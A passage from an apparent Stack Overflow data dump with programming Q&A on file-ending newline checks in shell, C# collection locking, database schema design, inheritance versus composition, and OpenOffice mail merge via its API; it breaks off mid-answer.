But it doesn't work, I throw an Exception just to try the transaction rolls back, but for my surprise I see that the first [Save] records into the database. What is happening?
I'm new on Castle and NHibernate, firstly I saw it very attractive and I decided to go on with it and MySQL (I've never worked with this DB), I tried ActiveWriter and it seemed very promising but after a long and effortly week I see this issue and now I feel like I'm stuck and like I've wasted my time. It is supposed to be easy but right now I'm feeling a frustated cause I cannot find enough information to make this workout, can you help me? | Ben's got it. That doc is a little confusing. Refer to the last block [on the page](https://web.archive.org/web/20080417014143/http://www.castleproject.org/ActiveRecord/documentation/v1rc1/usersguide/scopes.html), "Nested transactions". |
38,746 | <p>Over at <a href="https://stackoverflow.com/questions/38664/can-you-modify-text-files-when-committing-to-subversion">Can you modify text files when committing to subversion?</a> <a href="https://stackoverflow.com/questions/38664/can-you-modify-text-files-when-committing-to-subversion#38666">Grant</a> suggested that I block commits instead.</p>
<p>However I don't know how to check a file ends with a newline. How can you detect that the file ends with a newline?</p>
| [
{
"answer_id": 39162,
"author": "bstark",
"author_id": 4056,
"author_profile": "https://Stackoverflow.com/users/4056",
"pm_score": 2,
"selected": false,
"text": "<p>You could use something like this as your pre-commit script:</p>\n\n<pre>\n#! /usr/bin/perl\n\nwhile (<>) {\n $last = $_;\n}\n\nif (! ($last =~ m/\\n$/)) {\n print STDERR \"File doesn't end with \\\\n!\\n\";\n exit 1;\n}\n</pre>\n"
},
{
"answer_id": 39185,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 2,
"selected": false,
"text": "<p>Using only <code>bash</code>:</p>\n\n<pre><code>x=`tail -n 1 your_textfile`\nif [ \"$x\" == \"\" ]; then echo \"empty line\"; fi\n</code></pre>\n\n<p>(Take care to copy the whitespaces correctly!)</p>\n\n<p>@grom:</p>\n\n<blockquote>\n <p>tail does not return an empty line</p>\n</blockquote>\n\n<p>Damn. My test file didn't end on <code>\\n</code> but on <code>\\n\\n</code>. Apparently <code>vim</code> can't create files that don't end on <code>\\n</code> (?). Anyway, as long as the “get last byte” option works, all's well.</p>\n"
},
{
"answer_id": 40919,
"author": "grom",
"author_id": 486,
"author_profile": "https://Stackoverflow.com/users/486",
"pm_score": 6,
"selected": true,
"text": "<p><strong><a href=\"https://stackoverflow.com/questions/38746/how-to-detect-file-ends-in-newline#39185\">@Konrad</a></strong>: tail does not return an empty line. I made a file that has some text that doesn't end in newline and a file that does. Here is the output from tail:</p>\n<pre class=\"lang-none prettyprint-override\"><code>$ cat test_no_newline.txt\nthis file doesn't end in newline$ \n\n$ cat test_with_newline.txt\nthis file ends in newline\n$\n</code></pre>\n<p>Though I found that tail has get last byte option. So I modified your script to:</p>\n<pre><code>#!/bin/sh\nc=`tail -c 1 $1`\nif [ "$c" != "" ]; then\n echo "no newline"\nfi\n</code></pre>\n"
},
{
"answer_id": 2421790,
"author": "FelipeC",
"author_id": 10474,
"author_profile": "https://Stackoverflow.com/users/10474",
"pm_score": 4,
"selected": false,
"text": "<p>Or even simpler:</p>\n\n<pre><code>#!/bin/sh\ntest \"$(tail -c 1 \"$1\")\" && echo \"no newline at eof: '$1'\"\n</code></pre>\n\n<p>But if you want a more robust check:</p>\n\n<pre><code>test \"$(tail -c 1 \"$1\" | wc -l)\" -eq 0 && echo \"no newline at eof: '$1'\"\n</code></pre>\n"
},
{
"answer_id": 10415403,
"author": "KarolDepka",
"author_id": 170451,
"author_profile": "https://Stackoverflow.com/users/170451",
"pm_score": 2,
"selected": false,
"text": "<p>Worked for me: <br/></p>\n\n<pre><code>tail -n 1 /path/to/newline_at_end.txt | wc --lines\n# according to \"man wc\" : --lines - print the newline counts\n</code></pre>\n\n<p>So wc counts number of newline chars, which is good in our case.\nThe oneliner prints either 0 or 1 according to presence of newline at the end of the file.</p>\n"
},
{
"answer_id": 25749716,
"author": "Steve Kehlet",
"author_id": 296829,
"author_profile": "https://Stackoverflow.com/users/296829",
"pm_score": 4,
"selected": false,
"text": "<p>Here is a useful bash function:</p>\n\n<pre><code>function file_ends_with_newline() {\n [[ $(tail -c1 \"$1\" | wc -l) -gt 0 ]]\n}\n</code></pre>\n\n<p>You can use it like:</p>\n\n<pre><code>if ! file_ends_with_newline myfile.txt\nthen\n echo \"\" >> myfile.txt\nfi\n# continue with other stuff that assumes myfile.txt ends with a newline\n</code></pre>\n"
},
{
"answer_id": 60911655,
"author": "Koichi Nakashima",
"author_id": 11267590,
"author_profile": "https://Stackoverflow.com/users/11267590",
"pm_score": 0,
"selected": false,
"text": "<p>The <code>read</code> command can not read a line without newline.</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>if tail -c 1 \"$1\" | read -r line; then\n echo \"newline\"\nfi\n</code></pre>\n\n<p>Another answer.</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>if [ $(tail -c 1 \"$1\" | od -An -b) = 012 ]; then\n echo \"newline\"\nfi\n</code></pre>\n"
},
{
"answer_id": 61667168,
"author": "Nicolae Iotu",
"author_id": 10828773,
"author_profile": "https://Stackoverflow.com/users/10828773",
"pm_score": 0,
"selected": false,
"text": "<p>I'm coming up with a correction to my own answer.</p>\n\n<p>Below should work in all cases with no failures:</p>\n\n<pre><code>nl=$(printf '\\012')\nnls=$(wc -l \"${target_file}\")\nlastlinecount=${nls%% *}\nlastlinecount=$((lastlinecount+1))\nlastline=$(sed ${lastlinecount}' !d' \"${target_file}\")\nif [ \"${lastline}\" = \"${nl}\" ]; then\n echo \"${target_file} ends with a new line!\"\nelse\n echo \"${target_file} does NOT end with a new line!\"\nfi\n</code></pre>\n"
},
{
"answer_id": 61876217,
"author": "thanos.a",
"author_id": 2110865,
"author_profile": "https://Stackoverflow.com/users/2110865",
"pm_score": 0,
"selected": false,
"text": "<p>You can get the last character of the file using <code>tail -c 1</code>.</p>\n\n<pre><code> my_file=\"/path/to/my/file\"\n\n if [[ $(tail -c 1 \"$my_file\") != \"\" ]]; then\n echo \"File doesn't end with a new line: $my_file\"\n fi\n</code></pre>\n"
},
{
"answer_id": 63398061,
"author": "Olivier Pirson",
"author_id": 1333666,
"author_profile": "https://Stackoverflow.com/users/1333666",
"pm_score": 2,
"selected": false,
"text": "<p>A complete Bash solution with only <code>tail</code> command, that also deal correctly with empty files.</p>\n<pre class=\"lang-sh prettyprint-override\"><code>#!/bin/bash\n# Return 0 if file $1 exists and ending by end of line character,\n# else return 1\n[[ -s "$1" && -z "$(tail -c 1 "$1")" ]]\n</code></pre>\n<ul>\n<li><code>-s "$1"</code> checks if the file is not empty</li>\n<li><code>-z "$(tail -c 1 "$1")"</code> checks if its last (existing) character is end of line character</li>\n<li>the all <code>[[...]]</code> conditional expression is returned</li>\n</ul>\n<p>You can also defined this Bash function to use it in your scripts.</p>\n<pre class=\"lang-sh prettyprint-override\"><code># Return 0 if file $1 exists and ending by end of line character,\n# else return 1\ncheck_ending_eol() {\n [[ -s "$1" && -z "$(tail -c 1 "$1")" ]]\n}\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38746",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/486/"
] | Over at [Can you modify text files when committing to subversion?](https://stackoverflow.com/questions/38664/can-you-modify-text-files-when-committing-to-subversion) [Grant](https://stackoverflow.com/questions/38664/can-you-modify-text-files-when-committing-to-subversion#38666) suggested that I block commits instead.
However I don't know how to check a file ends with a newline. How can you detect that the file ends with a newline? | **[@Konrad](https://stackoverflow.com/questions/38746/how-to-detect-file-ends-in-newline#39185)**: tail does not return an empty line. I made a file that has some text that doesn't end in newline and a file that does. Here is the output from tail:
```none
$ cat test_no_newline.txt
this file doesn't end in newline$
$ cat test_with_newline.txt
this file ends in newline
$
```
Though I found that tail has get last byte option. So I modified your script to:
```
#!/bin/sh
c=`tail -c 1 $1`
if [ "$c" != "" ]; then
echo "no newline"
fi
``` |
38,756 | <p>I'm looking for a way of getting a <strong>concurrent collection</strong> in <strong>C#</strong> or at least a collection which supports a <strong>concurrent enumerator</strong>. Right now I'm getting an <code>InvalidOperationException</code> when the collection over which I'm iterating changes. </p>
<p>I could just deep copy the collection and work with a private copy but I'm wondering if there is perhaps a better way</p>
<p>Code snippet:</p>
<pre class="lang-cs prettyprint-override"><code>foreach (String s in (List<String>) callingForm.Invoke(callingForm.delegateGetKillStrings))
{
//do some jazz
}
</code></pre>
<p>--edit--</p>
<p>I took the answer but also found that I needed to ensure that the code which was writing to the collection needed to attempt to get a lock as well.</p>
<pre class="lang-cs prettyprint-override"><code>private void addKillString(String s)
{
lock (killStrings)
{
killStrings.Add(s);
}
}
</code></pre>
| [
{
"answer_id": 38765,
"author": "Damian",
"author_id": 3390,
"author_profile": "https://Stackoverflow.com/users/3390",
"pm_score": 4,
"selected": true,
"text": "<p>Other than doing a deep-copy your best bet might be to lock the collection:</p>\n\n<pre><code> List<string> theList = (List<String> )callingForm.Invoke(callingForm.delegateGetKillStrings);\n lock(theList.SyncRoot) {\n foreach(string s in theList) {\n // Do some Jazz\n }\n }\n</code></pre>\n"
},
{
"answer_id": 38768,
"author": "Domenic",
"author_id": 3191,
"author_profile": "https://Stackoverflow.com/users/3191",
"pm_score": 2,
"selected": false,
"text": "<p>So I'm not quite sure what you're asking, but the Parallel Extensions team has put together some stuff that might fit the bill. See this blog post in particular, about <a href=\"http://blogs.msdn.com/pfxteam/archive/2008/08/12/8852005.aspx\" rel=\"nofollow noreferrer\">enumerating parallel collections</a>. It also contains a link to download the Parallel CTP, and you can of course browse through the rest of the blog posts to get an idea of what the CTP is meant to do and how the programming model works.</p>\n"
},
{
"answer_id": 39666,
"author": "McKenzieG1",
"author_id": 3776,
"author_profile": "https://Stackoverflow.com/users/3776",
"pm_score": 1,
"selected": false,
"text": "<p>If you want to use the FCL collections, then locking is the only way to support iteration / modification from multiple threads that may overlap.</p>\n\n<p>Be careful what you use as your lock object, though. Using SyncRoot is only a good idea if the collection itself is a private member of the class that uses it. If the collection is protected or public, then a client of your class can take its own lock on your SyncRoot, potentially deadlocking with code in your class. </p>\n\n<p>If you are interested in taking a look at a 3rd-party collection library, I recommend the excellent <a href=\"http://www.itu.dk/research/c5/\" rel=\"nofollow noreferrer\">C5 Generic Collection Library</a>. They have a family of tree-based collections that can easily and safely be modified and iterated at the same time without locking - see sections 8.10 and 9.11 of their (excellent) documentation for details.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38756",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/361/"
] | I'm looking for a way of getting a **concurrent collection** in **C#** or at least a collection which supports a **concurrent enumerator**. Right now I'm getting an `InvalidOperationException` when the collection over which I'm iterating changes.
I could just deep copy the collection and work with a private copy but I'm wondering if there is perhaps a better way
Code snippet:
```cs
foreach (String s in (List<String>) callingForm.Invoke(callingForm.delegateGetKillStrings))
{
//do some jazz
}
```
--edit--
I took the answer but also found that I needed to ensure that the code which was writing to the collection needed to attempt to get a lock as well.
```cs
private void addKillString(String s)
{
lock (killStrings)
{
killStrings.Add(s);
}
}
``` | Other than doing a deep-copy your best bet might be to lock the collection:
```
List<string> theList = (List<String> )callingForm.Invoke(callingForm.delegateGetKillStrings);
lock(theList.SyncRoot) {
foreach(string s in theList) {
// Do some Jazz
}
}
``` |
38,791 | <p>Which Database table Schema is more efficient and why?</p>
<pre><code>"Users (UserID, UserName, CompamyId)"
"Companies (CompamyId, CompanyName)"
</code></pre>
<p>OR</p>
<pre><code>"Users (UserID, UserName)"
"Companies (CompamyId, CompanyName)"
"UserCompanies (UserID, CompamyId)"
</code></pre>
<p>Given the fact that user and company have one-to-one relation.</p>
| [
{
"answer_id": 38793,
"author": "Vaibhav",
"author_id": 380,
"author_profile": "https://Stackoverflow.com/users/380",
"pm_score": 4,
"selected": true,
"text": "<p>For sure, the earlier one is more efficient given that constraint. For getting the same information, you will have less number of joins in your queries.</p>\n"
},
{
"answer_id": 38795,
"author": "lomaxx",
"author_id": 493,
"author_profile": "https://Stackoverflow.com/users/493",
"pm_score": 3,
"selected": false,
"text": "<p>well that's a bit of an open ended question and depends on your business rules. The first option you have only allows one company to be mapped to one user. you're defining a many-to-one relationship.</p>\n\n<p>The second schema defines a many-to-many relationship which allows multiple users to be mapped to multiple companies. </p>\n\n<p>They solve different problems and depending on what you're trying to solve will determine what schema you should use.</p>\n\n<p>Strictly speaking from a \"transactions\" point of view, the first schema will be quicker because you only have to commit one row for a user object to be associated to a company and to retrieve the company that your user works for requires only one join, however the second solution will scale better if your business requirements change and require you to have multiple companies assigend to a user.</p>\n"
},
{
"answer_id": 38796,
"author": "Kevin Lamb",
"author_id": 3149,
"author_profile": "https://Stackoverflow.com/users/3149",
"pm_score": 1,
"selected": false,
"text": "<p>As always it depends. I would personally go with answer number one since it would have less joins and would be easier to maintain. Less joins should mean that it requires less table and index scans.</p>\n\n<pre><code>SELECT userid, username, companyid, companyname\nFROM companies c, users u\nWHERE userid = companyid\n</code></pre>\n\n<p>Is much better than...</p>\n\n<pre><code>SELECT userid, username, companyid, companyname\nFROM companies c, users u, usercompanies uc\nWHERE u.userid = uc.userid\nAND c.companyid = uc.companyid\n</code></pre>\n"
},
{
"answer_id": 38798,
"author": "Kyle Cronin",
"author_id": 658,
"author_profile": "https://Stackoverflow.com/users/658",
"pm_score": 0,
"selected": false,
"text": "<p>I think you mean \"many to one\" when it comes to users and companies - unless you plan on having a unique company for each user.</p>\n\n<p>To answer your question, go with the first approach. One less table to store reduces space and will make your queries use less JOIN commands. Also, and more importantly, it correctly matches your desired input. The database schema should describe the format for all valid data - if it fits the format it should be considered valid. Since a user can only have one company it's possible to have incorrect data in your database if you use the second schema.</p>\n"
},
{
"answer_id": 38799,
"author": "roo",
"author_id": 716,
"author_profile": "https://Stackoverflow.com/users/716",
"pm_score": 1,
"selected": false,
"text": "<p>The two schemas cannot be compared, as they have different relationships, you should proablly look at what the spec is for the tables and then work out which one fits the relationship needed.</p>\n\n<p>The first one implies that a User can only be a member of <em>one</em> company (a belongs_to relationship). Whereas the second schema implies that a User can be a member of many companies (a has_many relationship)</p>\n\n<p>If you are looking for a schema that can (or will later) support a has_many relationship then you want to go with the second one. For the reason compare:</p>\n\n<pre>\n//select all users in company x with schema 1\nselect username, companyname from companies\ninner join users on users.companyid = companies.companyid\nwhere companies.companyid = __some_id__;\n</pre>\n\n<p>and</p>\n\n<pre>\n//select all users in company x with schema 2\nselect username, companyname from companies\ninner join usercompanies on usercompanies.companyid = companies.companyid\ninner join users on usercompanies.userid = users.userid\nwhere companies.companyid = __some_id__;\n</pre>\n\n<p>You have an extra join on the select table. If you only want the belongs_to relationship then the second query does more work than it should - and so makes it less efficient.</p>\n"
},
{
"answer_id": 83365,
"author": "JacquesB",
"author_id": 7488,
"author_profile": "https://Stackoverflow.com/users/7488",
"pm_score": 0,
"selected": false,
"text": "<p>If User and Company really have a <strong>one-to-one</strong> relationship, then you only need one table:</p>\n\n<pre><code>(ID, UserName, CompanyName)\n</code></pre>\n\n<p>But I suspect you really meant that there is a <em>one-to-many</em> relationship between user and company - one or more users pr company but only one company pr user. In that case the two-table solution is correct. </p>\n\n<p>If there is a <em>many-to-many</em> relationship (a company can have several users and a user can be attached to several companies), then the three-table solution is correct.</p>\n\n<p>Note that <em>efficiency</em> is not really the issue here. Its the nature of the data that dictates which solution you should use.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38791",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/191/"
] | Which Database table Schema is more efficient and why?
```
"Users (UserID, UserName, CompamyId)"
"Companies (CompamyId, CompanyName)"
```
OR
```
"Users (UserID, UserName)"
"Companies (CompamyId, CompanyName)"
"UserCompanies (UserID, CompamyId)"
```
Given the fact that user and company have one-to-one relation. | For sure, the earlier one is more efficient given that constraint. For getting the same information, you will have less number of joins in your queries. |
38,820 | <p>Which class design is better and why?</p>
<pre><code>public class User
{
public String UserName;
public String Password;
public String FirstName;
public String LastName;
}
public class Employee : User
{
public String EmployeeId;
public String EmployeeCode;
public String DepartmentId;
}
public class Member : User
{
public String MemberId;
public String JoinDate;
public String ExpiryDate;
}
</code></pre>
<p>OR</p>
<pre><code>public class User
{
public String UserId;
public String UserName;
public String Password;
public String FirstName;
public String LastName;
}
public class Employee
{
public User UserInfo;
public String EmployeeId;
public String EmployeeCode;
public String DepartmentId;
}
public class Member
{
public User UserInfo;
public String MemberId;
public String JoinDate;
public String ExpiryDate;
}
</code></pre>
| [
{
"answer_id": 38827,
"author": "Brad Wilson",
"author_id": 1554,
"author_profile": "https://Stackoverflow.com/users/1554",
"pm_score": 4,
"selected": false,
"text": "<p>I don't like either one. What happens when someone is both a member and an employee?</p>\n"
},
{
"answer_id": 38829,
"author": "1800 INFORMATION",
"author_id": 3146,
"author_profile": "https://Stackoverflow.com/users/3146",
"pm_score": 7,
"selected": true,
"text": "<p>The question is simply answered by recognising that inheritance models an \"IS-A\" relationship, while membership models a \"HAS-A\" relationship.</p>\n\n<ul>\n<li>An employee IS A user</li>\n<li>An employee HAS A userinfo</li>\n</ul>\n\n<p>Which one is correct? This is your answer.</p>\n"
},
{
"answer_id": 38834,
"author": "Apocalisp",
"author_id": 3434,
"author_profile": "https://Stackoverflow.com/users/3434",
"pm_score": 2,
"selected": false,
"text": "<p>Neither one is good. Too much mutable state. You should not be able to construct an instance of a class that is in an invalid or partially initialized state.</p>\n\n<p>That said, the second one is better because it favours composition over inheritance.</p>\n"
},
{
"answer_id": 38852,
"author": "wilhelmtell",
"author_id": 456,
"author_profile": "https://Stackoverflow.com/users/456",
"pm_score": 4,
"selected": false,
"text": "<p>Ask yourself the following:</p>\n\n<ul>\n<li>Do you want to model an Employee <em>IS</em> a User? If so, chose inheritance.</li>\n<li>Do you want to model an Employee <em>HAS</em> a User information? If so, use composition.</li>\n<li>Are virtual functions involved between the User (info) and the Employee? If so, use inheritance.</li>\n<li>Can an Employee have multiple instances of User (info)? If so, use composition.</li>\n<li>Does it make sense to assign an Employee object to a User (info) object? If so, use inheritance.</li>\n</ul>\n\n<p>In general, strive to model the reality your program simulates, under the constraints of code complexity and required efficiency.</p>\n"
},
{
"answer_id": 38898,
"author": "Jon Limjap",
"author_id": 372,
"author_profile": "https://Stackoverflow.com/users/372",
"pm_score": 3,
"selected": false,
"text": "<p>The real questions are:</p>\n\n<ul>\n<li>What are the business rules and user stories behind a user? </li>\n<li>What are the business rules and user stories behind an employee? </li>\n<li>What are the business rules and user stories behind a member?</li>\n</ul>\n\n<p>These can be three completely unrelated entities or not, and that will determine whether your first or second design will work, or if another completely different design is in order.</p>\n"
},
{
"answer_id": 38905,
"author": "liammclennan",
"author_id": 2785,
"author_profile": "https://Stackoverflow.com/users/2785",
"pm_score": 4,
"selected": false,
"text": "<p>I don't think composition is always better than inheritance (just usually). If Employee and Member really are Users, and they are mutually exclusive, then the first design is better. Consider the scenario where you need to access the UserName of an Employee. Using the second design you would have: </p>\n\n<pre><code>myEmployee.UserInfo.UserName\n</code></pre>\n\n<p>which is bad (law of Demeter), so you would refactor to:</p>\n\n<pre><code>myEmployee.UserName\n</code></pre>\n\n<p>which requires a small method on Employee to delegate to the User object. All of which is avoided by the first design.</p>\n"
},
{
"answer_id": 38986,
"author": "Gishu",
"author_id": 1695,
"author_profile": "https://Stackoverflow.com/users/1695",
"pm_score": 2,
"selected": false,
"text": "<p>Stating your requirement/spec might help arrive at the 'best design'.<br>\nYour question is too 'subject-to-reader-interpretation' at the moment.</p>\n"
},
{
"answer_id": 38991,
"author": "Jonathan",
"author_id": 1772,
"author_profile": "https://Stackoverflow.com/users/1772",
"pm_score": 2,
"selected": false,
"text": "<p>Here's a scenario you should think about:</p>\n\n<p>Composition (the 2nd example) is preferable if the same User can be both an Employee and a Member. Why? Because for two instances (Employee and Member) that represent the same User, if User data changes, you don't have to update it in two places. Only the User instance contains all the User information, and only it has to be updated. Since both Employee and Member classes contain the same User instance, they will automatically both contain the updated information.</p>\n"
},
{
"answer_id": 51208,
"author": "maccullt",
"author_id": 4945,
"author_profile": "https://Stackoverflow.com/users/4945",
"pm_score": 4,
"selected": false,
"text": "<p>Nice question although to avoid distractions about <em>right</em> and <em>wrong</em> I'd consider asking for the pros and cons of each approach -- I think that's what you meant by which is better or worse and why. Anyway ....</p>\n<h2>The First Approach aka Inheritance</h2>\n<p>Pros:</p>\n<ul>\n<li>Allows polymorphic behavior.</li>\n<li>Is <em>initially</em> simple and convenient.</li>\n</ul>\n<p>Cons:</p>\n<ul>\n<li><em>May</em> become complex or clumsy over time <em>if</em> more behavior and relations are added.</li>\n</ul>\n<h2>The Second Approach aka Composition</h2>\n<p>Pros:</p>\n<ul>\n<li>Maps well to non-oop scenarios like relational tables, structured programing, etc</li>\n<li>Is straightforward (if not necessarily convenient) to <em>incrementally</em> extend relations and behavior.</li>\n</ul>\n<p>Cons:</p>\n<ul>\n<li>No polymorphism therefore it's less convenient to use related information and behavior</li>\n</ul>\n<p>Lists like these + the questions <a href=\"https://stackoverflow.com/users/372/jon-limjap\">Jon Limjap</a> mentioned will help you make decisions and get started -- then you can find what the <em>right</em> answers should have been ;-)</p>\n"
},
{
"answer_id": 13124792,
"author": "supercat",
"author_id": 363751,
"author_profile": "https://Stackoverflow.com/users/363751",
"pm_score": 0,
"selected": false,
"text": "<p>Three more options:</p>\n\n<ol>\n<li><p>Have the <code>User</code> class contain the supplemental information for both employees and members, with unused fields blank (the <code>ID</code> of a particular <code>User</code> would indicate whether the user was an employee, member, both, or whatever).</p></li>\n<li><p>Have an <code>User</code> class which contains a reference to an <code>ISupplementalInfo</code>, where <code>ISupplementalInfo</code> is inherited by <code>ISupplementalEmployeeInfo</code>, <code>ISupplementalMemberInfo</code>, etc. Code which is applicable to all users could work with <code>User</code> class objects, and code which had a <code>User</code> reference could get access to a user's supplemental information, but this approach would avoid having to change <code>User</code> if different combinations of supplemental information are required in future.</p></li>\n<li><p>As above, but have the <code>User</code> class contain some kind of collection of <code>ISupplementalInfo</code>. This approach would have the advantage of facilitating the run-time addition of properties to a user (e.g. because a <code>Member</code> got hired). When using the previous approach, one would have to define different classes for different combinations of properties; turning a \"member\" into a \"member+customer\" would require different code from turning an \"employee\" into an \"employee+customer\". The disadvantage of the latter approach is that it would make it harder to guard against redundant or inconsistent attributes (using something like a <code>Dictionary<Type, ISupplementalInfo></code> to hold supplemental information could work, but would seem a little \"bulky\").</p></li>\n</ol>\n\n<p>I would tend to favor the second approach, in that it allows for future expansion better than would direct inheritance. Working with a collection of objects rather than a single object might be slightly burdensome, but that approach may be better able than the others to handle changing requirements.</p>\n"
},
{
"answer_id": 25430916,
"author": "Marcin Raczyński",
"author_id": 1763149,
"author_profile": "https://Stackoverflow.com/users/1763149",
"pm_score": 3,
"selected": false,
"text": "<p>You can also think of Employee as a <strong>role</strong> of the User (Person). The role of a User can change in time (user can become unemployed) or User can have multiple roles at the same time. </p>\n\n<p>Inheritance is much better when there is <strong>real</strong> \"is a\" relation, for example Apple - Fruit. But be very careful: Circle - Ellipse is not real \"is a\" relation, because cirlce has less \"freedom\" than ellipse (circle is a <strong>state</strong> of ellipse) - see: <a href=\"http://en.wikipedia.org/wiki/Circle-ellipse_problem\" rel=\"noreferrer\">Circle Ellipse problem</a>.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38820",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/191/"
] | Which class design is better and why?
```
public class User
{
public String UserName;
public String Password;
public String FirstName;
public String LastName;
}
public class Employee : User
{
public String EmployeeId;
public String EmployeeCode;
public String DepartmentId;
}
public class Member : User
{
public String MemberId;
public String JoinDate;
public String ExpiryDate;
}
```
OR
```
public class User
{
public String UserId;
public String UserName;
public String Password;
public String FirstName;
public String LastName;
}
public class Employee
{
public User UserInfo;
public String EmployeeId;
public String EmployeeCode;
public String DepartmentId;
}
public class Member
{
public User UserInfo;
public String MemberId;
public String JoinDate;
public String ExpiryDate;
}
``` | The question is simply answered by recognising that inheritance models an "IS-A" relationship, while membership models a "HAS-A" relationship.
* An employee IS A user
* An employee HAS A userinfo
Which one is correct? This is your answer. |
38,842 | <p>I need to do a simple mail merge in OpenOffice using C++, VBScript, VB.Net or C# via OLE or native API. Are there any good examples available?</p>
| [
{
"answer_id": 38976,
"author": "Peter Stuifzand",
"author_id": 1633,
"author_profile": "https://Stackoverflow.com/users/1633",
"pm_score": 2,
"selected": false,
"text": "<p>You should take a look at <strong><a href=\"http://api.openoffice.org\" rel=\"nofollow noreferrer\">Apache OpenOffice API</a></strong>. A project for creating an API for Open Office. A few languages they said to support are: C++, Java, Python, CLI, StarBasic, JavaScript and OLE.</p>\n\n<p><a href=\"http://codesnippets.services.openoffice.org/Writer/Writer.MailMerge.snip\" rel=\"nofollow noreferrer\">Java Example of a mailmerge in OpenOffice</a>.</p>\n"
},
{
"answer_id": 42760,
"author": "1800 INFORMATION",
"author_id": 3146,
"author_profile": "https://Stackoverflow.com/users/3146",
"pm_score": 4,
"selected": true,
"text": "<p>I haven't come up with a solution I'm really happy with but here are some notes:</p>\n\n<ul>\n<li><p>Q. What is the OO API for mail merge?</p>\n\n<p>A. <a href=\"http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html\" rel=\"noreferrer\">http://api.openoffice.org/docs/common/ref/com/sun/star/text/MailMerge.html</a></p></li>\n<li><p>Q. What support groups?</p>\n\n<p>A. <a href=\"http://user.services.openoffice.org/en/forum/viewforum.php?f=20\" rel=\"noreferrer\">http://user.services.openoffice.org/en/forum/viewforum.php?f=20</a></p></li>\n<li><p>Q. Sample code?</p>\n\n<p>A. <a href=\"http://user.services.openoffice.org/en/forum/viewtopic.php?f=20&t=946&p=3778&hilit=mail+merge#p3778\" rel=\"noreferrer\">http://user.services.openoffice.org/en/forum/viewtopic.php?f=20&t=946&p=3778&hilit=mail+merge#p3778</a></p>\n\n<p><a href=\"http://user.services.openoffice.org/en/forum/viewtopic.php?f=20&t=8088&p=38017&hilit=mail+merge#p38017\" rel=\"noreferrer\">http://user.services.openoffice.org/en/forum/viewtopic.php?f=20&t=8088&p=38017&hilit=mail+merge#p38017</a></p></li>\n<li><p>Q. Any more examples?</p>\n\n<p>A. file:///C:/Program%20Files/OpenOffice.org_2.4_SDK/examples/examples.html (comes with the SDK)</p>\n\n<p><a href=\"http://www.oooforum.org/forum/viewtopic.phtml?p=94970\" rel=\"noreferrer\">http://www.oooforum.org/forum/viewtopic.phtml?p=94970</a></p></li>\n<li><p>Q. How do I build the examples?</p>\n\n<p>A. e.g., for WriterDemo (C:\\Program Files\\OpenOffice.org_2.4_SDK\\examples\\CLI\\VB.NET\\WriterDemo)</p>\n\n<ol>\n<li>Add references to everything in here: C:\\Program Files\\OpenOffice.org 2.4\\program\\assembly</li>\n<li>That is cli_basetypes, cli_cppuhelper, cli_types, cli_ure</li>\n</ol></li>\n<li><p>Q. Does OO use the same separate data/document file for mail merge?</p>\n\n<p>A. It allows for a range of data sources including csv files</p></li>\n<li><p>Q. Does OO allow you to merge to all the different types (fax, email, new document printer)?</p>\n\n<p>A. You can merge to a new document, print and email</p></li>\n<li><p>Q. Can you add custom fields?</p>\n\n<p>A. Yes</p></li>\n<li><p>Q. How do you create a new document in VB.Net?</p>\n\n<p>A.</p>\n\n<pre><code> Dim xContext As XComponentContext\n\n xContext = Bootstrap.bootstrap()\n\n Dim xFactory As XMultiServiceFactory\n xFactory = DirectCast(xContext.getServiceManager(), _\n XMultiServiceFactory)\n\n 'Create the Desktop\n Dim xDesktop As unoidl.com.sun.star.frame.XDesktop\n xDesktop = DirectCast(xFactory.createInstance(\"com.sun.star.frame.Desktop\"), _\n unoidl.com.sun.star.frame.XDesktop)\n\n 'Open a new empty writer document\n Dim xComponentLoader As unoidl.com.sun.star.frame.XComponentLoader\n xComponentLoader = DirectCast(xDesktop, unoidl.com.sun.star.frame.XComponentLoader)\n Dim arProps() As unoidl.com.sun.star.beans.PropertyValue = _\n New unoidl.com.sun.star.beans.PropertyValue() {}\n Dim xComponent As unoidl.com.sun.star.lang.XComponent\n xComponent = xComponentLoader.loadComponentFromURL( _\n \"private:factory/swriter\", \"_blank\", 0, arProps)\n Dim xTextDocument As unoidl.com.sun.star.text.XTextDocument\n xTextDocument = DirectCast(xComponent, unoidl.com.sun.star.text.XTextDocument)\n</code></pre></li>\n<li><p>Q. How do you save the document?</p>\n\n<p>A.</p>\n\n<pre><code> Dim storer As unoidl.com.sun.star.frame.XStorable = DirectCast(xTextDocument, unoidl.com.sun.star.frame.XStorable)\n arProps = New unoidl.com.sun.star.beans.PropertyValue() {}\n storer.storeToURL(\"file:///C:/Users/me/Desktop/OpenOffice Investigation/saved doc.odt\", arProps)\n</code></pre></li>\n<li><p>Q. How do you Open the document?</p>\n\n<p>A.</p>\n\n<pre><code> Dim xComponent As unoidl.com.sun.star.lang.XComponent\n xComponent = xComponentLoader.loadComponentFromURL( _\n \"file:///C:/Users/me/Desktop/OpenOffice Investigation/saved doc.odt\", \"_blank\", 0, arProps)\n</code></pre></li>\n<li><p>Q. How do you initiate a mail merge in VB.Net?</p>\n\n<p>A.</p>\n\n<ol>\n<li><p>Don't know. This functionality is in the API reference but is missing from the IDL. We may be slightly screwed. Assuming the API was working, it looks like running a merge is fairly simple.</p></li>\n<li><p>In VBScript:</p>\n\n<p>Set objServiceManager = WScript.CreateObject(\"com.sun.star.ServiceManager\")</p>\n\n<p>'Now set up a new MailMerge using the settings extracted from that doc\nSet oMailMerge = objServiceManager.createInstance(\"com.sun.star.text.MailMerge\")</p>\n\n<p>oMailMerge.DocumentURL = \"file:///C:/Users/me/Desktop/OpenOffice Investigation/mail merged.odt\"\noMailMerge.DataSourceName = \"adds\"\noMailMerge.CommandType = 0 ' <a 